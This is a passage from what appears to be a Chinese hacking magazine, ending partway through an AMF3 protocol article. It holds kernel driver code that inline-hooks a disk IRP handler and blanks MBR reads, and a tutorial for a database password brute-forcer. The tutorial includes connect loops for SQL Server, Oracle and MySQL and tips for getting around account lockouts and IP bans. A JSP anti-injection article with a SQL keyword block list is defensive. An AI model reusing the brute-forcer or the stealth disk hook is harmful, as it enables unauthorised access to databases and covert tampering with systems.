 pProxyJmpLoc = (BYTE*)((ULONG)HookedIRPHandler); 
 do  
 { 
  if ((*pProxyJmpLoc == 0xaa) && (*(ULONG*)pProxyJmpLoc == 

0xaaaaaaaa)) 
  { 
   break; 
  } 
 } while (++pProxyJmpLoc); 
 pMdlCode = IoAllocateMdl((PVOID)((ULONG)FunctionAddress-5), 
                  9,FALSE,FALSE,NULL); 
 if (NULL == pMdlCode) 
 { 
  goto _exit; 
 } 

 pMdlProxy = 
IoAllocateMdl((PVOID)pProxyJmpLoc,7,FALSE,FALSE,NULL); 

 if (NULL == pMdlProxy) 
 { 
  goto _exit; 
 } 
 MmBuildMdlForNonPagedPool(pMdlCode); 
 MmBuildMdlForNonPagedPool(pMdlProxy); 

 pCode = 
(BYTE*)MmMapLockedPagesSpecifyCache(pMdlCode,KernelMode,MmCached, 

               NULL,0,(MM_PAGE_PRIORITY)0); 
 pProxyJmp = 

(BYTE*)MmMapLockedPagesSpecifyCache(pMdlProxy,KernelMode, 
               MmCached,NULL,0,(MM_PAGE_PRIORITY)0); 
 if (!pCode || !pProxyJmp) 
 { 
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  goto _exit; 
 } 
 pCode[0] = 0xe9; 

 *(ULONG*)((ULONG)pCode+1) = 
((ULONG)HookedIRPHandler)-(ULONG)FunctionAddress; 

 *((ULONG*)(jmp_orig_code + 1) ) = (ULONG)FunctionAddress + 2 ; 
 memcpy(pProxyJmp,jmp_orig_code,7); 
 _InterlockedExchange((LONG*)((ULONG)pCode+5),0x8b55f9eb); 
 ntStatus = STATUS_SUCCESS; 
_exit: 
 if (pCode) 
 { 
  MmUnmapLockedPages(pCode,pMdlCode); 
 } 
 if (pProxyJmp) 
 { 
  MmUnmapLockedPages(pProxyJmp,pMdlProxy); 
 } 
 if (pMdlCode) 
 { 
  IoFreeMdl(pMdlCode); 
 } 
 if (pMdlProxy) 
 { 
  IoFreeMdl(pMdlProxy); 
 } 
 return ntStatus; 
} 

  

原理就是利用代码间隙中的 NOP 指令写一些 hook 的跳转指令。这种方法的好处是实际

只修改了目标函数开始处的 2 个字节，可以在一个原子操作内完成，避免多核的打架，而且

限定在第一条指令范围内，也避免了多线程的问题。 

关于这种利用 NOP 指令实现稳定 inline hook 的方法，还可以再扩展以适应不同的环境，

比如要挂钩的目标函数开头处不是 mov edi,edi，前面也不是 NOP 指令；比如 x64。扩展的主

要思路是在一个字节的寻址范围内（-128～127）搜索 5 个长度的 NOP 指令，而 x64 下则在

一个字节寻址范围内搜索 14 个字节的 NOP 指令，如果搜索不到 14 个字节，可以拆分为 6+8

个，读者有兴趣可以扩展一下试试，还是比较有价值的，可以做到稳定的 x86/x64 inlinehook。

当然，如果目标函数第一条指令只有一个字节，那么还是有小概率的 BSoD 风险。 

挂钩完成自然要进行过滤，本文提供了实现过滤的函数供读者参考。 

 

VOID AvgerFilterIrp(PDEVICE_OBJECT DeviceObject,PIRP Irp) 
{ 
 PSCSI_REQUEST_BLOCK pSRB; 
 PIO_STACK_LOCATION pSp; 
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 ULONG uLBA,uLBAhigh; 
 BOOLEAN bRead = FALSE,bWrite = FALSE,bFilter = FALSE; 
 USHORT i = 0; 
 PVOID pBuffer; 
 PVOID pDst,pSrc; 
 AvgerCompleteContext *pContext; 
 if ( 
  DeviceObject->Type != IO_TYPE_DEVICE || 
  Irp->Type != IO_TYPE_IRP 
  ) 
 { 
  goto _exit; 
 } 
 pSp = IoGetCurrentIrpStackLocation(Irp); 
 if (NULL == pSp) 
 { 
  goto _exit; 
 } 
 pSRB = pSp->Parameters.Scsi.Srb; 
 if (NULL == pSRB) 
 { 
  goto _exit; 
 } 

 //不要过滤自己发送的请求 
 if ((ULONG)pSp->CompletionRoutine == (ULONG)RWComplete) 
 { 
  goto _exit; 
 } 
 if (pSp->MajorFunction != IRP_MJ_SCSI || 
  pSRB->Function != SRB_FUNCTION_EXECUTE_SCSI) 
 { 
  goto _exit; 
 } 
 bRead = pSRB->SrbFlags&SRB_FLAGS_DATA_IN; 
 bWrite = pSRB->SrbFlags&SRB_FLAGS_DATA_OUT; 
 if ((bRead&&bWrite) || (!bRead&&!bWrite)) 
 { 
  goto _exit; 
 } 
 if (pSRB->CdbLength == CDB10GENERIC_LENGTH) 
 { 
  uLBA = (pSRB->Cdb[2]<<24) | (pSRB->Cdb[3]<<16) | 

(pSRB->Cdb[4]<<8) |        (pSRB->Cdb[5]); 
 } 
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 else 
 { 
  //not support 
  DbgPrintEx(LOGMACRO,"cdb length not support.\n"); 
  goto _exit; 
 } 
 if (Irp->AssociatedIrp.SystemBuffer) 
 { 
  pBuffer = Irp->AssociatedIrp.SystemBuffer; 
 } 
 else if (Irp->MdlAddress) 
 { 
  if ( 
                 Irp->MdlAddress->MdlFlags &                

(MDL_MAPPED_TO_SYSTEM_VA|MDL_SOURCE_IS_NONPAGED_POOL) 
                 ) 
  { 
   pBuffer = Irp->MdlAddress->MappedSystemVa; 
  } 
  else 
  { 
   pBuffer = MmMapLockedPagesSpecifyCache( 
                            Irp->MdlAddress,KernelMode,MmCached, 
    NULL,FALSE,NormalPagePriority); 
  } 
 } 
 else 
 { 
  goto _exit; 
 } 
 if (0 == uLBA) 
 { 

  //少于一个扇区 
  if (pSRB->DataTransferLength/gData.BytesPerSector == 0) 
  { 
   goto _exit; 
  } 
  if (bRead) 
  { 

   //安装一个完成函数 
   pContext = (AvgerCompleteContext*)ExAllocatePool( 
                        NonPagedPool,sizeof(AvgerCompleteContext)); 
   if (NULL == pContext) 
   { 
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    goto _exit; 
   } 
   pContext->pOrgCompletionRoutine = pSp->CompletionRoutine; 
   pContext->pOrgContext = pSp->Context; 
   pContext->pOrgControl = pSp->Control; 
   pContext->LBA = uLBA; 
   pSp->Context = pContext; 
   pSp->Control =     

SL_INVOKE_ON_SUCCESS|SL_INVOKE_ON_ERROR|SL_INVOKE_ON_CANCEL; 
   pSp->CompletionRoutine =   

(PIO_COMPLETION_ROUTINE)((ULONG)AvgerIoCompletion); 
   goto _exit; 
  } 
 } 
_exit: 
 return ; 
} 

  

AvgerFilterIrp 只过滤 CDB10 标准的 SRB，读者有兴趣可以扩展过滤 CDB6/10/12/16 等标

准的 SRB。 

过滤的逻辑很简单，如果待读的扇区是 MBR，那么进入过滤流程：先为此 SRB 请求手

动安装一个完成函数，但此请求完成的时候设置的完成函数将会被调用，然后在此完成函数

中替换 MBR 的内容。 

 

NTSTATUS AvgerIoCompletion(PDEVICE_OBJECT  DeviceObject,PIRP  
Irp,PVOID  Context) 

{ 
 NTSTATUS ntStatus = STATUS_SUCCESS; 
 PVOID pBuffer; 
 ULONG uLBA; 
 USHORT i,j; 
 PVOID pDst,pSrc; 
 PIO_STACK_LOCATION pSp; 
 if (!NT_SUCCESS(Irp->IoStatus.Status)) 
 { 
  goto _exit; 
 } 
 uLBA = ((AvgerCompleteContext*)Context)->LBA; 
 if (Irp->AssociatedIrp.SystemBuffer) 
 { 
  pBuffer = Irp->AssociatedIrp.SystemBuffer; 
 } 
 else if (Irp->MdlAddress) 
 { 
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  if (Irp->MdlAddress->MdlFlags &  
(MDL_MAPPED_TO_SYSTEM_VA|MDL_SOURCE_IS_NONPAGED_POOL)) 

  { 
   pBuffer = Irp->MdlAddress->MappedSystemVa; 
  } 
  else 
  { 
   pBuffer = MmMapLockedPagesSpecifyCache( 
                            Irp->MdlAddress,KernelMode,MmCached, 
    NULL,FALSE,NormalPagePriority); 
  } 
 } 
 else 
 { 
  goto _exit; 
 } 
 if (uLBA == 0) 
 { 
  pDst = pBuffer; 
  memset(pDst,0,gData.BytesPerSector); 
 } 
_exit: 

 //恢复安装CompletionRoutine 
 pSp = IoGetNextIrpStackLocation(Irp); 
 pSp->CompletionRoutine =  
((AvgerCompleteContext*)Context)->pOrgCompletionRoutine; 
 pSp->Context = ((AvgerCompleteContext*)Context)->pOrgContext; 
 pSp->Control = ((AvgerCompleteContext*)Context)->pOrgControl; 
 ExFreePool(Context); 
 if ( (NT_SUCCESS( Irp->IoStatus.Status ) && 
  pSp->Control & SL_INVOKE_ON_SUCCESS) || 
  (!NT_SUCCESS( Irp->IoStatus.Status ) && 
  pSp->Control & SL_INVOKE_ON_ERROR) || 
  (Irp->Cancel && 
  pSp->Control & SL_INVOKE_ON_CANCEL) 
  )  
 { 
  if (pSp->CompletionRoutine) 
  { 
   return  

pSp->CompletionRoutine(DeviceObject,Irp,pSp->Context); 
  } 
 } 
 if (Irp->PendingReturned && (Irp->CurrentLocation <= 
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Irp->StackCount)) 
 { 
  IoMarkIrpPending(Irp); 
 } 
 return STATUS_SUCCESS; 
} 
 

直接将读到的 MBR 内容全部清空。需要注意的是，完成函数的 IRQL 比较高，在 DISPATCH

级别，因此操作需要谨慎。复杂的操作或者需要触碰分页内存的操作，建议排一个 Work Item

出来做。另外还有一个概念需要清楚，就是手动安装完成函数。 

手动安装完成函数，而不能调用 IoSetCompletionRoutine 设置完成函数的原因是，作为

一个 hook 驱动，而不是微软推荐的过滤驱动，是没有自己的 IO 栈单元的，因此只能和他

人共用 IO 栈单元并做好兼容，不要破坏原有的 IO 栈单元信息。 

                                                                                 

打造通用型 JSP 防注入系统 

文/图 爱无言 

 注入漏洞一直是 Web 应用程序中最为常见的安全漏洞之一，这并不是说这种漏洞无法

阻止，开发过程中形形色色的需求和问题都会造成漏洞的出现，有时候表现的很明显，有时

候漏洞会隐藏得让人感到不可思议。于是，安全人员开始研究通用型的防注入系统，这些系

统不需要 Web 应用程序开发人员绞尽脑汁地去注意自己程序的安全问题，只需要简单地调

用防注入系统提供的外部接口，放置在程序适当的位置，就可以起到对注入攻击的防范。更

高级的防注入系统则是利用二进制应用程序实现，类似于网络防火墙，支持多模式使用，甚

至被设计为硬件级别的安全系统，有利于减轻服务器的负载压力。常见的防注入系统多半针

对 ASP 程序，很少见到适用于 JSP 程序的通用型防注入系统，为此本文结合了 SQL 白名单机

制和语法分析机制两种模式，开发了一种通用型 JSP 防注入系统，该系统适用于任意类型的

JSP 程序，使用较为灵活。当然，程序本身还需补充完善，这里只是将程序的实现机制分享

出来，如有不对之处，还请多多指正。 

 为了让防注入系统具有良好的通用性，系统采用了 JavaBean 技术。JavaBean 是 Java 程

序的一种组件结构，拥有独立的管理机制，可以由多个类或者单独的一个类组成，简单的理

解，就是一个独立的小程序，外部程序只需要调用其提供的接口函数就可以获得相关操作，

具体实现技术外部程序无需关注。 

 一个标准的 JavaBean 通常有以下几个特征：其是一个公共类，具有 public 属性；构造

函数不传入参数；利用 getXXX 类型的公共方法获取内部属性值；利用 setXXX 类型的公共方

法来修改内部属性值。举例来说，假设有一个关于日历的 JavaBean，可以通过 setYear 和

setMonth 设定该对象的年与月的属性值，可以利用 getCalendar 获取对应某一时间的月历。 

 在 JSP 程序中使用 JavaBean 时，可以设定 JavaBean 的生命周期，即作用范围。通常来

说，JavaBean 的生命周期区分为 page、request、session、application 四种类型。在本防注入

系统中，主要使用了 page 和 application 两种生命周期。其中，page 生命周期是指当前被设

定的 JavaBean 作用范围限定在当前页面内，一旦页面显示完毕作用随即消失。application

生命周期则属于全局类型的生命周期，这意味着被设定的 JavaBean 作用于整个服务器运行

过程，除非当前服务停止或者重启才会消失。 
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 本系统采用了三个 JavaBean：blackIP 用于 IP 地址黑名单操作，该 JavaBean 用于判断访

问 Web 应用程序的用户来源 IP 地址是否属于黑名单，属于则会立即禁止该用户访问。同时，

当访问用户进行 SQL 注入攻击时，当攻击次数超过系统阀值时，该 JavaBean 会立即将该用

户来源 IP 地址加入黑名单，阻止其继续攻击。sqlcheck 是针对用户提交数据进行安全过滤的

JavaBean，利用关键字匹配方法来实现过滤，一旦发现用户提交的数据中存在非法字符，则

会认定该数据属于污点数据，告知系统启动安全防范机制。whitelist 是防注入系统的核心

JavaBean，实现了两种判定机制，一种是 SQL 白名单，一种是语法分析。两种判断机制都可

以进行 SQL 注入攻击的判定，但作用范围不一样。下面结合具体实现代码，对整个防注入

系统做一介绍。 

 blackIP 的关键代码如下： 

 

public void setblackIP(String ip) //该函数实现将指定 IP 地址加入黑名单 

        { 

               if(this.IPcount<100)  //这里设定 IP 地址黑名单数量为 100 

               { 

                 this.IP[this.IPcount] = ip; 

                 this. IPcount =this. IPcount+1; 

               } 

        } 

        public int checkIP(String ip) //检测 IP 地址是否属于黑名单 

        {    

                if(this.IPcount!=0) 

                { 

                    j=IPcount-i; 

                 while(j>0) 

                  {  

                    if(ip.equals(this.IP[i])) 

                   { 

                    .. 

                   } 

                   .. 

              return res;   

        }     

 

sqlcheck 的关键代码如下： 

    public  boolean docheck(String str)  

            {  

               String inj_str = 

"and|exec|insert|select|delete|update|count|*|chr|mid|master|truncate|char|declare|;|or|-

|+|,";//这里进行关键字判断，判断用户数据是否属于污点数据 

               String[] inj_stra=inj_str.split("\\|");  

               //return inj_stra.length; 

               for (int i=0 ; i < inj_stra.length ; i++ )  

               {  
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               if (str.indexOf(inj_stra[i])>=0)  

               {  

              … 

               } 

 

Whitelist 的关键代码如下： 

    public boolean comparewhitelistSQL(String sql) 

        { 

              String whitelists[]; 

              whitelists = new String[5]; 

              whitelists[0]="艺术"; 

              whitelists[1]="医学"; 

              whitelists[2]="文学"; 

              whitelists[3]="工科"; 

              whitelists[4]="工具"; 

               String[] sql_stra=sql.split("'"); //这里属于 SQL 白名单实现机制，该机制作用

范围较小，这里演示了对查询语句中某一个字段范围的设定，一旦该字段参数不属于以上合

法范围，则会判定该数据属于非法查询，给出警告提示。 

               for (int i=0 ; i < 5 ; i++ )  

               {  

                 if (sql_stra[1].equals(whitelists[i]))  

                 {  

                   return true;  

                  }  

               }  

               return false;  

           } 

     public boolean SyntacticanalysisSQL(String sql) 

     { 

           String inj_str = 

"and|exec|insert|select|delete|update|count|*|chr|mid|master|truncate|char|declare|or|-|

+|,"; 

               String[] inj_stra=inj_str.split("\\|");  

               int i; 

               int T=0; 

               for (i=0 ; i < inj_stra.length ; i++ )  

               {  

               if (sql.indexOf(inj_stra[i])>=0)  

               {  

                 break; 

               }//以上属于对用户数据进行词法分析 

               }    

             if(i<inj_stra.length) 

             {  
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                 String[] sql_stra=sql.split(inj_stra[i]); 

                 int statanum=sql_stra.length; 

                 if(i==3) 

                 { 

                 if(statanum>2) T=statanum; 

                 //以上属于基于词法分析结果后再进行语法分析判断 

                 } 

 

 在 whitelist 中，语法分析的原理类似于我们假设当前查询语句为“select * from xx where 

id=x”，用语法表示为 T1=1，“select * from xx where id=x and name=xx”用语法表示为 T1=1，

T2=1。假设合法的语法规则是 T1=1、T2=0，那么，“select * from xx where id=x and name=xx”

这句查询语句就不合法，系统将会给出安全提示。 

 有了上述的 JavaBean，在 JSP 程序中就可以使用了。其中，blackIP 必须设定为 application，

其它设定为 page。使用方式为： 

 <jsp:useBean id="blackIP" class="antiSQL.blackIP" 

scope="application"></jsp:useBean><jsp:useBean id="sqlcheck" class="antiSQL.sqlCheck" 

scope="page"></jsp:useBean><jsp:useBean id="whitelist" class="antiSQL.whitelist" 

scope="page"></jsp:useBean>。 

 在用户数据进入程序组成 SQL 语句后，直接调用 comparewhitelistSQL 或者

SyntacticanalysisSQL 进行安全判断，针对数字、字符、搜索等类型的数据最好使用

SyntacticanalysisSQL 进行判断，comparewhitelistSQL 适用于单独查询某一字段的 SQL 查询。 

在实际使用中，程序运行效果良好，完全满足了基本防注入攻击系统的需要，系统运行效果

如图 1 所示。 

 
图 1 

 本文介绍的通用型 JSP 防注入系统目前只是一个基本雏形，在功能上还可以进行扩展，

但其主要原理已经向大家展示出来，可以依据本文介绍的原理，打造出属于自己的通用型

JSP 防注入系统。 
                                                                                

编写数据库密码远程暴力破解器 

文/图 大石头 

阅读本文之前，读者应该对 C/C++语言有些了解，因为本文是采用 VC++ 6.0 进行编程实

现的。编程实现的基本流程为：编写载入字典文件代码；编写连接 SQL Server 的代码；编写

连接 Oracle database 的代码；编写连接 MySQL 数据库的代码；结合起来，循环测试所有用
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户名和密码。 

本文采用 VC++6.0 新建 MFC（Dialog Based）的项目实现，设计的界面如图 1 所示。 

 
图 1 

编写载入字典文件代码 

字典文件有两个，一个是用户名文件，一个是密码文件，格式都是一样的，每一行都有

一个字符串。破解时，对用户名和密码进行自由组合配对，循环连接数据库，根据是否成功

连接就能够找出用户名与密码。读入文件，用 C++的 ifstream 类是非常方便的，最终代码如

下： 
 

/************************************************************/ 

/* pathfile 文件路径                                                  */ 
/***********************************************************/ 

std::vector<std::string> loadUid(char * pathfile) 

{ 

    using namespace std; 

    vector <string> list ; 

    char username[256]; //字符串暂存地 
    ifstream fin; 

    fin.open(pathfile,ios::in); 

    while(!fin.eof()) 

    {     

        fin>>username; 

        list.push_back(std::string(username));//放入 vector中 
    } 

    fin.close(); 

    return list; 

} 
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连接 SQL Server 判断正确密码 

三个之中，感觉 SQL Server 暴力破解是最简单的。第一，SQL Server 默认没有开启错误

登录次数过多锁定账户或者拒绝某 IP 的功能。第二，微软的 VC 对微软的 SQL Server 支持比

较好，只要在 VC 下使用 ADO 就可以远程连接 SQL Server，不再需要其他第三方库。 

首先需要了解 ADO。ADO（ActiveX Data Objects，ActiveX 数据对象）是 Microsoft 提出

的应用程序接口（API），用以实现访问关系或非关系数据库中的数据，与 OLE DB 相比，ADO

就是一个“桥”，为所有的 OLE DB 提供了统一的接口，使用 ADO 的应用程序都要间接使用

OLE DB。ADO 提供了对自动化的支持，而 OLE DB 则可以对各自的数据库（广义上的数据库，

除了关系型数据库外，还包括其他格式的数据源，如电子表格、文笔文件）进行操作。它们

之间的关系如图 2 所示。 

 
                             图 2 

闲话少说，只要知道 ADO 可以连接数据库就行了，本文的破解器就采用了 ADO，那么

如何使用 ADO 呢？ 

在 VC 中利用 ADO 访问数据库时，首先需要导入 ADO 库，ADO 库可以直接在预编译头

文件 stdafx.h 中导入。具体代码如下： 

 

#import "C:\Program Files\Common Files\System\ado\msado15.dll" no_namespace 

rename("EOF","rsEOF") 

 

因为 EOF 在 VC 中表示记录集的结尾，文件也是以 EOF 结尾的，为避免冲突，需要将 EOF

改名，rsEOF 可以随便写，而“C:\Program Files\Common Files\System\ado\msado15.dll”是

VC6 安装后就有的。导入 ADO 库之后，就可以在 VC 中使用了，步骤如下： 

1．初始化 OLE/COM 库环境 

因为 OLE DB 是基于 COM，而 ADO 是基于 OLE DB 的，ADO 本身也是一个 COM 组件，

所以要使用 ADO，必须先初始化 COM 库。初始化代码可以为“CoInitialize(NULL);”，访问完

COM 库后，程序还需要调用 CoUnintialize 函数卸载 COM 库。当然，也可以采用下面代码初

始化 COM 库。 

 

BOOL CXXXXAPP::InitInstance(){   

  AfxOleInit();    
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  .... 

return TRUE; 

} 

 

2．连接数据库 

连接数据库需要使用_ConnectionPtr 类，此类负责连接数据库，代码如下： 
 

_ConnectionPtr pConn(__uuidof(Connection)); 

CString 

conStr.Format("Provider=SQLOLEDB;Server=%s,%s;Database=%s;Uid=%s;

Pwd=%s"); 

pConn->ConnectionString=conStr.GetBuffer(0); 

try                    

{     

    if(S_OK ==pConn->Open("","","",adConnectUnspecified)) 

    { 

    //成功 
    }catch(_com_error e) 

    { 

     //失败 
    } 

} 

 

conStr 变量是 SQL Server 连接字符串，包含服务器信息、用户名、密码。调用

ConnectionPtr的 Open函数如果连接失败就会抛出异常，如果不捕获此异常，程序就会

终止，如果抛出异常，如果其他信息是正确的，那么用户名或者密码一定是错误的，用此办

法可以判断是不是正确的用户名密码。 

 

连接 Oracle 数据库判断正确密码 

Oracle 数据库对 ADO 不太支持，很多功能用 ADO 是无法实现的。ADO 虽然也能够建立

到 Oracle 数据库的连接，但是不支持以 SYSDBA 身份连接。而 sys 用户如果不以 sysdba 身份

连接，就会抛出异常，而且无法获得辨认错误类型的异常信息，也就是说所有连接错误所抛

出的异常信息都是一样的，不管是因为身份问题还是密码错误问题。更重要的是，Oracle 数

据库在 oracle 10g 以后的版本中，默认采用了 10 次密码错误连接就锁定账户的策略，所以

对普通的账户暴力破解是没有多大意义的，但是 Oracle 不会对 sys 账户进行锁定，破解的希

望基本上还是寄托在 sys 账户上。 

上面说了，ADO 使用 sys 账户连接 Oracle database 会抛出异常，另一方面，Oracle 提供

了 occi、PROC *C 技术来操作数据库，但又太麻烦了，所以本文采用了调用 Oracle 的 sqlplus

工具进行暴力破解。 

首先需要做的准备工作，不管用什么技术，客户机必须安装 Oracle 的客户端，客户端

有 一 个 sqlplus 命 令 行 工 具 ， 可 以 连 接 数 据 库 。 对 于 本 文 来 说 ， sqlplus 
username/password@//host:port/sid 就足够了，主要的问题是如何执行命令行并如何判定

是不是用户名密码正确。执行命令行并获得命令行的输出可以用下面的函数实现。 
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BOOL CSsdfDlg::ExecDosCmd(char * EXECDOSCMD)  
{     
    SECURITY_ATTRIBUTES sa;  
    HANDLE hRead,hWrite; 
    sa.nLength = sizeof(SECURITY_ATTRIBUTES);  
    sa.lpSecurityDescriptor = NULL;  
    sa.bInheritHandle = TRUE;  
    if (!CreatePipe(&hRead,&hWrite,&sa,0))  
    {  
        return FALSE;  
    }  
    char command[1024];    //长达 1K 的命令行，够用了吧 
    strcpy(command,"Cmd.exe /C ");  
    strcat(command,EXECDOSCMD);  
    STARTUPINFO si;  
    PROCESS_INFORMATION pi;  
    si.cb = sizeof(STARTUPINFO);  
    GetStartupInfo(&si);  
    si.hStdError = hWrite; 
    //把创建进程的标准错误输出重定向到管道输入 
    si.hStdOutput = hWrite; 
    //把创建进程的标准输出重定向到管道输入 
    si.wShowWindow = SW_HIDE;  
    si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;  
    //关键步骤，CreateProcess 函数参数意义请查阅 MSDN  
    if (!CreateProcess(NULL, 

command,NULL,NULL,TRUE,NULL,NULL,NULL,&si,&pi))  
    {  
        CloseHandle(hWrite);  
        CloseHandle(hRead);  
        return FALSE;  
    }  
    CloseHandle(hWrite); 
     
    char buffer[4096] = {0};  //用 4K 的空间来存储输出的内容 
    DWORD bytesRead;  
    std::string result; 
    while (true)  
    {  
        if (ReadFile(hRead,buffer,4095,&bytesRead,NULL) == NULL)  
            break;  
        //buffer 中就是执行的结果，可以保存到文本，也可以直接输出 
    }  
        CloseHandle(hRead);  
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    return true;  
} 
 
经过几次使用 sqlplus，发现如果连接成功，那么会有“SQL>”字符串出现在命令行输

出结果中。如果提醒应以 sysdba 身份登录的信息，会有“ORA-28009”字符串出现在命令

行输出结果中，所以可以通过下面的代码判断是不是使用了正确的用户名与密码。 
 

if(strstr(buffer,"ORA-28009")!=NULL||strstr(buffer,"SQL>")!=NU

LL)  

//提醒应该以 dba身份登录，或者出现 SQL> 
 { 

 //找到了正确的用户名密码 
 } 

 

其中 strstr 函数是从字符串 1 中找到字符串 2，如果没找到就返回 NULL。 
 

连接 MySQL 数据库判断正确密码  

和 Oracle database 使用了账户锁定不同，MySQL 采用了 IP 禁止的方式来阻止暴力破解。

对于此，除了不停的改变 IP 之外，我没有想到什么好的办法。 

连接 MySQL 数据库依然没有采用 ADO 方法，而是采用了 MySQL 专门提供的 C 接口。

在 MySQL 的安装目录下会找到 include 和 lib 文件夹（完全安装模式下），里面分别是 C
接口的头文件和库文件。至于怎么加入到 VC6 里面去，请自行搜索。 

需要注意的是，在 stdafx.h 中添加 mysql 的头文件时，必须采用如下形式： 
#include "winsock.h" 

#include "mysql.h" 

也就是说，“winsock.h”必须在“mysql.h”前面。 

MySQL 的连接代码还是比较简单的。 

 

MYSQL mysql; //数据库连接句柄 

mysql_init (&mysql); 

if(mysql_real_connect(&mysql,”host” ,”user” ,”pwd”,”db”,port ,NULL,0)) 

{ 

 MessageBox("成功"); 

 mysql_close(&mysql); 

 break; //成功就跳出 

} 

 

连接成功就是正确的用户名与密码。 

 

暴力破解用户名密码 

暴力破解，首先就是循环，连接成功就跳出循环，成功破解。代码范例如下： 

 

uidList=loadUid(userFile); //用户名集合 

pwdList=loadPwd(pwdFile2); //密码集合 
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for(it=uidList.begin();it<uidList.end();it++) 

//循环判定，it/it2 为迭代器 

{ 

   st1=(*it); 

   for(it2=pwdList.begin();it2<pwdList.end();it2++) //循环判定, 

   { 

      st2=(*it2); 

      //连接数据库。是否成功，成功就跳出两个循环 

      } 

} 

 

小结 

 本文的暴力破解器非常简陋，而且对 Mysql 数据库没有找到好的破解方法，另外，我选

用的数据库版本分别是 SQL Server2005、MySQL 5.5、Oracle 11g R2，所以不保证对其他版本

有效，只希望能起到抛砖引玉的作用，最好可以结合多线程重新设计破解器，这样速度就大

大加快了。 

                                                                                

AMF3 协议终极解析 

——七雄争霸数据包分析 
文/图 白金之星 

AMF 是 Action Message Format 的简写，一种二进制的数据格式，它的设计是为了把

actionscript 里面的数据（包括 Object、Array、Boolean、Number 等）序列化成一段二进制数

据，然后把这段数据随意发送给其他位置的程序，比如发给远程服务器，在远程服务器那边，

又可以把这段数据还原出来，以此达到一个数据传输的作用。 

AMF 消息流与 AMF 不是一回事， AMF 消息流就是一个数据包 package，里面包含了版

本号、头部、消息体等数据，头部和消息体里面用到的数据使用 AMF 的格式来进行存储。

AMF 数据流常用于 NetConnection、SharedObject 等。 

从官方文档看，在 2001 年 FLASH PLAYER6 中就诞生了 AMF0，这是 AMF 的第一个版本， 

AMF0 的设计比较简单，直到 FLASH8 都没发生过什么变化。后来 AS3 出世，有了新的 AVM，

于是也就重新设计了一套 AMF3，它的基本目的就是让数据进一步压缩再压缩，并且支持了

一些新的数据类型，比如 bytearray 等，具体有哪些改动，大家自己去看 PDF 文档。 

AMF3 出来之后 AMF0 是不是可以退休了？答案是否定的。大家现在接触到的 AMF3 消

息流基本上都是在 AMF3 外面包了一层 AMF0，也就是说我们看到的所有 AMF 数据流都是

AMF0 的，当数据流中的某个数据的 type=0x11 时，才表示这个数据应该属于 AMF3 的数据，

这个时候就会切换到 AMF3 的模式来处理这个数据，处理完之后当然还是继续回到 AMF0 的

模式处理数据。 

 

AMF 消息格式 
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这里我们截取一段“七雄争霸”网页游戏的 AMF请求消息进行说明，可用 FireFox浏览

器+（FireBug+AMF Explorer）插件查看 AMF消息，消息结构如图 1所示。 

 

图 1 

数据包开始内容是 AMF 协议版本 version：表示版本号为 3，紧接着 4 个字节 headers

表示头部个数，一般情况下头部个数都是 0，如果头部个数为 n，那么接下来应该是 n 个头

部的数据，这里因为 n=0，所以直接跳过。之后 4 个字节代表消息体个数，一般为 1，接下

来就是消息的正文。 

  AMF 的消息体的正文=（targetURI+responseURI+内容长度+内容）*n，我们这个例子里

n=1，targetURI 是一个字符串，指令标识符，表示这个消息要发到哪里去，在这个例子里为

“chatAct.getAllMessage4New”，从字面意思理解似乎是一个用于从服务器端获取状态信息

的指令；responseURI 也是一个字符串，响应标识符，发送请求默认从“/1”开始自动递增

编号，图中值为“/413”，表示第 413 个发送请求。 

AMF 规定了 targetURI 和 responseURI 都是一个 UTF8 字符串，也就是用 2 个字节来表示

字符串长度，后面紧接着字符串正文。接下来的就是内容正文了，内容正文的数据解析将在

后面详细举例说明。 

 

AMF 数据类型 

AMF3 一共有 13 种数据类型，每种类型都用一个字节来表示，类型标识后跟真正的数

据，各类型的编码规则如下表所示。  

数据类型 编码规则 

Undefined=0 undefined = 0，这个没什么说的 

null=1 字节数组={1}，很简单，null类型为 1，所以后面不带任何内容 

False=2 字节数组={2}，逻辑假 

True=3 字节数组={3}，逻辑真 

 
 

Int=4 

 

在 AMF3 中，整数是使用可变长度的无符号的 29bit整数来序列化，

对于 32bit的整数，需要 4个字节来存储，前 3个字节的最高位是

用于标识下一个字节是不是整数的一部分，在 32bit中多达 3个 bit

是用来标志的，所以对编码的一个整数仅仅有 29个 bit有意义，这

表示最大的无符号的整数值是 2
29
-1。 

 

Double = 5 

AMF3 的双精度浮点型和 AMF0 的双精度浮点型的编码是一样的。编

码的值在网络序列中总是一个 8 字节的 IEEE-754 的双精度浮点值

（符号位在低位内存） 

 

 

String = 6 

 

 

AMF0和 AMF3使用 UTF-8来编码字符串。对于 AMF3，一个字符串可

以作为字面值或引用来编码。可变长度的无符号的 29bit的整数用

于头，并且第一个 bit 标识字符串的编码。标识为 0 时，字符串是

字面上编码的，余下的位数是用来编码 UTF-8 编码的字节长度。标

识为 1 时，是字符串引用的编码，余下的位数是用来编码直指隐含
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的字符串引用表的一个索引。 

Xml-doc = 7 和 AMF0类似，XMLDocument的结构需要转换为字符串表示来序列化。

在 AMF中，因为需要字符串，其内容用 UTF-8来编码。 

Date =  8 在 AMF3 中，AS日期简单的序列化为一个从公元 1970年 1月 1日零

点，使用 UTC时区到现在的毫秒数。本地时区信息不被发送。 

 

Array =  9 

 

AMF 把数组分为两个部分，密集部分和关联部分。对于关联部分的

二进制表示由以空字符串结束的名/值对（可能没有）组成。密集部

分的二进制表示是跟着顺序的列表值（可能没有）的密集部分的大

小（可能是零）。 

Object=10 后文单独说明。 

Xml=11 AS3.0引进了一个新的 XML类型，支持 E4X句法。 

ByteArray AS3.0 引进了新的类型表示字节数组，即 ByteArray。AMF3 用可变

长度的 29bit的整数编码字节的长度作为前缀，其后跟着 ByteArray

的原始字节来序列化。 

下面通过实例讲述 int、string、object三种数据类型的编码规则。 

1）int型数据 

{4，206，16}，4 表示该元素为数，206 转成二进制为 1100 1110，由于最高位为 1，所

以后一字节仍然有效，此时将 1100 1110 最高位置 0 并左移 7，变成 0010 0111 0000 0000。

再看 16 = 00010 000，由于最高位为 0，故下一字节无效，两字节做或“|”运算，0010 0111 

0000 0000 | 00010 000 便得出结果整数 10000（十进制）。 

2）String 类型 

"abcdefg"={6,15,97,98,99,100,101,102,103}，第一个字节 6 当然也是类型。接下来，肯定

是字符串的长度了，不知道长度怎么知道字符串呢。这里 len=15，这时候我们发现长度不对。

是的，我们要将读到的 int 右移 1 位，15 / 2 = 7，这就是我们的长度。有些人可能会问，为

